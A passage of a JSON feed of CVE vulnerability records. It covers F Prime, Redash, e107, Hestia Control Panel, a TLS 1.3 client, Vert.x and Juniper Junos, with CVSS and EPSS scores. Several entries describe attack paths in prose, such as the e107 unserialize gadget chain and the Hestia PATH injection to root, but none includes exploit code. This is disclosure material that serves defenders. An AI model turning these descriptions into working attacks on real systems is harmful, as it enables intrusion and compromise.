CVE-2026-102748, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-92152","cveId":"CVE-2026-92152","aliases":[],"kind":"vulnerability","title":"F´ (F Prime) is a framework that enables development and deployment of spaceflight and other embedded software applications.","summary":"F´ (F Prime) is a framework that enables development and deployment of spaceflight and other embedded software applications. From 4.1.0 until 4.2.0, Svc::GenericHub output-port dispatch is vulnerable because the deserialized port field is passed to serialOut_out, bufferOut_out, eventOut_out, or tlmOut_out without an explicit range check. When a remote hub packet supplies a port index outside the configured output-port array, assert-enabled builds abort, while builds without assertions can access an output-port array out of bounds, corrupt heap memory, and potentially allow remote code execution. This issue is fixed in version 4.2.0.","detail":"F´ (F Prime) is a framework that enables development and deployment of spaceflight and other embedded software applications. From 4.1.0 until 4.2.0, Svc::GenericHub output-port dispatch is vulnerable because the deserialized port field is passed to serialOut_out, bufferOut_out, eventOut_out, or tlmOut_out without an explicit range check. When a remote hub packet supplies a port index outside the configured output-port array, assert-enabled builds abort, while builds without assertions can access an output-port array out of bounds, corrupt heap memory, and potentially allow remote code execution. This issue is fixed in version 4.2.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T18:19:34.497Z","updatedAt":"2026-10-15T14:45:10.783Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-92152","asOf":"2026-10-15T14:45:10.783Z"},"epss":{"probability":0.0067,"percentile":0.51702,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-92152&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-92152","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92152","type":"primary","publishedAt":"2026-10-14T18:19:34.497Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-92152&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-92152, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-77371","cveId":"CVE-2026-77371","aliases":[],"kind":"vulnerability","title":"Redash is a package for data visualization and sharing.","summary":"Redash is a package for data visualization and sharing. From 26.0.0 until 26.9.0, the DuckDB query runner's _connect() path in redash/query_runner/duckdb.py created connections with enable_external_access left at its default value of true. A user with query access to an administrator-created DuckDB data source could use native file-reading functions to retrieve files readable by the Redash process or use COPY TO to write files with that process's privileges. Reading application secrets such as REDASH_COOKIE_SECRET or REDASH_SECRET_KEY could also enable forged sessions and authentication bypass. This issue is fixed in version 26.9.0.","detail":"Redash is a package for data visualization and sharing. From 26.0.0 until 26.9.0, the DuckDB query runner's _connect() path in redash/query_runner/duckdb.py created connections with enable_external_access left at its default value of true. A user with query access to an administrator-created DuckDB data source could use native file-reading functions to retrieve files readable by the Redash process or use COPY TO to write files with that process's privileges. Reading application secrets such as REDASH_COOKIE_SECRET or REDASH_SECRET_KEY could also enable forged sessions and authentication bypass. This issue is fixed in version 26.9.0.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T18:18:18.570Z","updatedAt":"2026-10-16T16:00:33.533Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-77371","asOf":"2026-10-16T16:00:33.533Z"},"epss":{"probability":0.00525,"percentile":0.4422,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-77371&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-77371","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77371","type":"primary","publishedAt":"2026-10-14T18:18:18.570Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-77371&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-77371, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-55573","cveId":"CVE-2026-55573","aliases":[],"kind":"vulnerability","title":"e107 is a content management system (CMS).","summary":"e107 is a content management system (CMS). Prior to 2.3.7, install.php decodes the attacker-controlled previous_steps POST parameter and passes it to unserialize() at file scope and again in the e_install constructor without restricting allowed classes. The installer remains accessible after a normal installation, and a crafted object graph using the bundled GuzzleHttp\\Psr7\\PumpStream class can flow through paths.hash into site_path, where string coercion invokes an attacker-controlled callable. An unauthenticated attacker who can reach install.php can therefore execute arbitrary PHP functions with the web server process's privileges, leading to full server compromise. This issue is fixed in version 2.3.7.","detail":"e107 is a content management system (CMS). Prior to 2.3.7, install.php decodes the attacker-controlled previous_steps POST parameter and passes it to unserialize() at file scope and again in the e_install constructor without restricting allowed classes. The installer remains accessible after a normal installation, and a crafted object graph using the bundled GuzzleHttp\\Psr7\\PumpStream class can flow through paths.hash into site_path, where string coercion invokes an attacker-controlled callable. An unauthenticated attacker who can reach install.php can therefore execute arbitrary PHP functions with the web server process's privileges, leading to full server compromise. This issue is fixed in version 2.3.7.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T18:17:38.013Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-55573","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.00704,"percentile":0.53038,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-55573&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-55573","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55573","type":"primary","publishedAt":"2026-10-14T18:17:38.013Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-55573&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-55573, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-55572","cveId":"CVE-2026-55572","aliases":[],"kind":"vulnerability","title":"e107 is a content management system (CMS).","summary":"e107 is a content management system (CMS). Prior to 2.3.7, the bundled alt_auth plugin's otherdb and e107db authentication backends interpolate the submitted login username directly into SQL in e107_plugins/alt_auth/otherdb_auth.php and e107_plugins/alt_auth/e107db_auth.php. The login() methods execute those strings with PDO::query() before effective sanitization, so an unauthenticated user can inject SQL when alt_auth is installed and either backend is configured with a live external database connection. The injection can expose or modify data available to the configured database account, and query failures can additionally disclose the generated query through the debug-message path. This issue is fixed in version 2.3.7.","detail":"e107 is a content management system (CMS). Prior to 2.3.7, the bundled alt_auth plugin's otherdb and e107db authentication backends interpolate the submitted login username directly into SQL in e107_plugins/alt_auth/otherdb_auth.php and e107_plugins/alt_auth/e107db_auth.php. The login() methods execute those strings with PDO::query() before effective sanitization, so an unauthenticated user can inject SQL when alt_auth is installed and either backend is configured with a live external database connection. The injection can expose or modify data available to the configured database account, and query failures can additionally disclose the generated query through the debug-message path. This issue is fixed in version 2.3.7.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T18:17:37.863Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":10,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-55572","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.00515,"percentile":0.43603,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-55572&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-55572","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55572","type":"primary","publishedAt":"2026-10-14T18:17:37.863Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-55572&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-55572, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108390","cveId":"CVE-2026-108390","aliases":[],"kind":"vulnerability","title":"Hestia Control Panel is a lightweight and powerful control panel for the modern web.","summary":"Hestia Control Panel is a lightweight and powerful control panel for the modern web. From version 1.9.7 through 1.10.4, update_object_value() in func/main.sh does not escape single quotes when writing a custom document-root value to a user's web.conf file, allowing a low-privileged authenticated panel user with a web domain to inject an additional PATH field. When the user invokes the ordinary Search feature, the root-privileged v-search-user-object script loads the forged field through parse_object_kv_list_non_eval(), which permits reserved shell-variable names and globally replaces PATH before invoking column without an absolute path. By placing a malicious column executable in the injected search path, the user can execute arbitrary code as root. This residual vulnerability was introduced when version 1.9.7 replaced the raw eval sink addressed by CVE-2026-84984 with parse_object_kv_list_non_eval(), and it is fixed in version 1.10.5.","detail":"Hestia Control Panel is a lightweight and powerful control panel for the modern web. From version 1.9.7 through 1.10.4, update_object_value() in func/main.sh does not escape single quotes when writing a custom document-root value to a user's web.conf file, allowing a low-privileged authenticated panel user with a web domain to inject an additional PATH field. When the user invokes the ordinary Search feature, the root-privileged v-search-user-object script loads the forged field through parse_object_kv_list_non_eval(), which permits reserved shell-variable names and globally replaces PATH before invoking column without an absolute path. By placing a malicious column executable in the injected search path, the user can execute arbitrary code as root. This residual vulnerability was introduced when version 1.9.7 replaced the raw eval sink addressed by CVE-2026-84984 with parse_object_kv_list_non_eval(), and it is fixed in version 1.10.5.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T18:17:27.180Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108390","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.00675,"percentile":0.51931,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108390&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108390","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108390","type":"primary","publishedAt":"2026-10-14T18:17:27.180Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108390&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108390, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103415","cveId":"CVE-2026-103415","aliases":[],"kind":"vulnerability","title":"When a TLS 1.3 client processes a HelloRetryRequest, it copies the server's cookie into its second ClientHello without checking that the cookie fits in the outgoing packet.","summary":"When a TLS 1.3 client processes a HelloRetryRequest, it copies the server's cookie into its second ClientHello without checking that the cookie fits in the outgoing packet. Both the length and the contents of that cookie come from the peer, and the write happens before certificate authentication completes, so a malicious or compromised server can overwrite memory past the caller supplied TLS packet buffer without presenting a certificate.\n\n\n\nOnly the client path is affected.","detail":"When a TLS 1.3 client processes a HelloRetryRequest, it copies the server's cookie into its second ClientHello without checking that the cookie fits in the outgoing packet. Both the length and the contents of that cookie come from the peer, and the write happens before certificate authentication completes, so a malicious or compromised server can overwrite memory past the caller supplied TLS packet buffer without presenting a certificate.\n\n\n\nOnly the client path is affected.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T18:17:19.790Z","updatedAt":"2026-10-16T21:17:13.370Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103415","asOf":"2026-10-16T21:17:13.370Z"},"epss":{"probability":0.00284,"percentile":0.20718,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103415&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103415","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103415","type":"primary","publishedAt":"2026-10-14T18:17:19.790Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103415&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103415, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102476","cveId":"CVE-2026-102476","aliases":[],"kind":"vulnerability","title":"In Eclipse Vert.x versions [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the Vert.x HTTP client relies on an SSL context for efficiency purpose, the key of this cache should...","summary":"In Eclipse Vert.x versions [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the Vert.x HTTP client relies on an SSL context for efficiency purpose, the key of this cache should reflect entirely the SSL semantics of the desired SSL properties. It is possible for a client to ask for an SSL context and obtain an SSL context with weaker properties, for instance a context with hostname validation and obtain a context ignoring hostname validation.\n\n\n\nThe impacted component is io.vertx:vertx-core.","detail":"In Eclipse Vert.x versions [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the Vert.x HTTP client relies on an SSL context for efficiency purpose, the key of this cache should reflect entirely the SSL semantics of the desired SSL properties. It is possible for a client to ask for an SSL context and obtain an SSL context with weaker properties, for instance a context with hostname validation and obtain a context ignoring hostname validation.\n\n\n\nThe impacted component is io.vertx:vertx-core.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T18:17:17.503Z","updatedAt":"2026-10-16T19:17:00.993Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102476","asOf":"2026-10-16T19:17:00.993Z"},"epss":{"probability":0.00226,"percentile":0.13221,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102476&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102476","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102476","type":"primary","publishedAt":"2026-10-14T18:17:17.503Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102476&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102476, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101983","cveId":"CVE-2026-101983","aliases":[],"kind":"vulnerability","title":"A Stack-based Buffer Overflow vulnerability in the httpd process of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated network attacker to cause remote code...","summary":"A Stack-based Buffer Overflow vulnerability in the httpd process of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated network attacker to cause remote code execution and denial of service via a J-Web virtual-domain configured.","detail":"A Stack-based Buffer Overflow vulnerability in the httpd process of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated network attacker to cause remote code execution and denial of service via a J-Web virtual-domain configured.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T18:17:13.293Z","updatedAt":"2026-10-15T16:24:19.073Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Apache HTTP Server","Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101983","asOf":"2026-10-15T16:24:19.073Z"},"epss":{"probability":0.0054,"percentile":0.45144,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101983&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101983","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101983","type":"primary","publishedAt":"2026-10-14T18:17:13.293Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101983&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101983, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101982","cveId":"CVE-2026-101982","aliases":[],"kind":"vulnerability","title":"A Stack-based Buffer Overflow vulnerability in the routing protocol daemon (rpd)  of Juniper Networks Junos OS and Junos OS Evolved allows a configured BGP/EVPN peer to cause root...","summary":"A Stack-based Buffer Overflow vulnerability in the routing protocol daemon (rpd)  of Juniper Networks Junos OS and Junos OS Evolved allows a configured BGP/EVPN peer to cause root code execution on Junos OS or an rpd crash on Junos OS Evolved via protocol-valid route advertisements for an EVPN-VPWS service.","detail":"A Stack-based Buffer Overflow vulnerability in the routing protocol daemon (rpd)  of Juniper Networks Junos OS and Junos OS Evolved allows a configured BGP/EVPN peer to cause root code execution on Junos OS or an rpd crash on Junos OS Evolved via protocol-valid route advertisements for an EVPN-VPWS service.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T18:17:13.120Z","updatedAt":"2026-10-16T15:16:59.893Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper Networks"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101982","asOf":"2026-10-16T15:16:59.893Z"},"epss":{"probability":0.00568,"percentile":0.46786,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101982&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101982","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101982","type":"primary","publishedAt":"2026-10-14T18:17:13.120Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101982&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101982, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101954","cveId":"CVE-2026-101954","aliases":[],"kind":"vulnerability","title":"An Improper Authentication vulnerability in the J-Web management interface and its NETCONF session handling of Juniper Networks Junos OS and Junos OS Evolved allows an...","summary":"An Improper Authentication vulnerability in the J-Web management interface and its NETCONF session handling of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated network attacker to obtain root-level device configuration access and take over the device via a reachable J-Web HTTP or HTTPS service when web management is enabled.","detail":"An Improper Authentication vulnerability in the J-Web management interface and its NETCONF session handling of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated network attacker to obtain root-level device configuration access and take over the device via a reachable J-Web HTTP or HTTPS service when web management is enabled.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T18:17:11.277Z","updatedAt":"2026-10-16T15:16:59.280Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Juniper 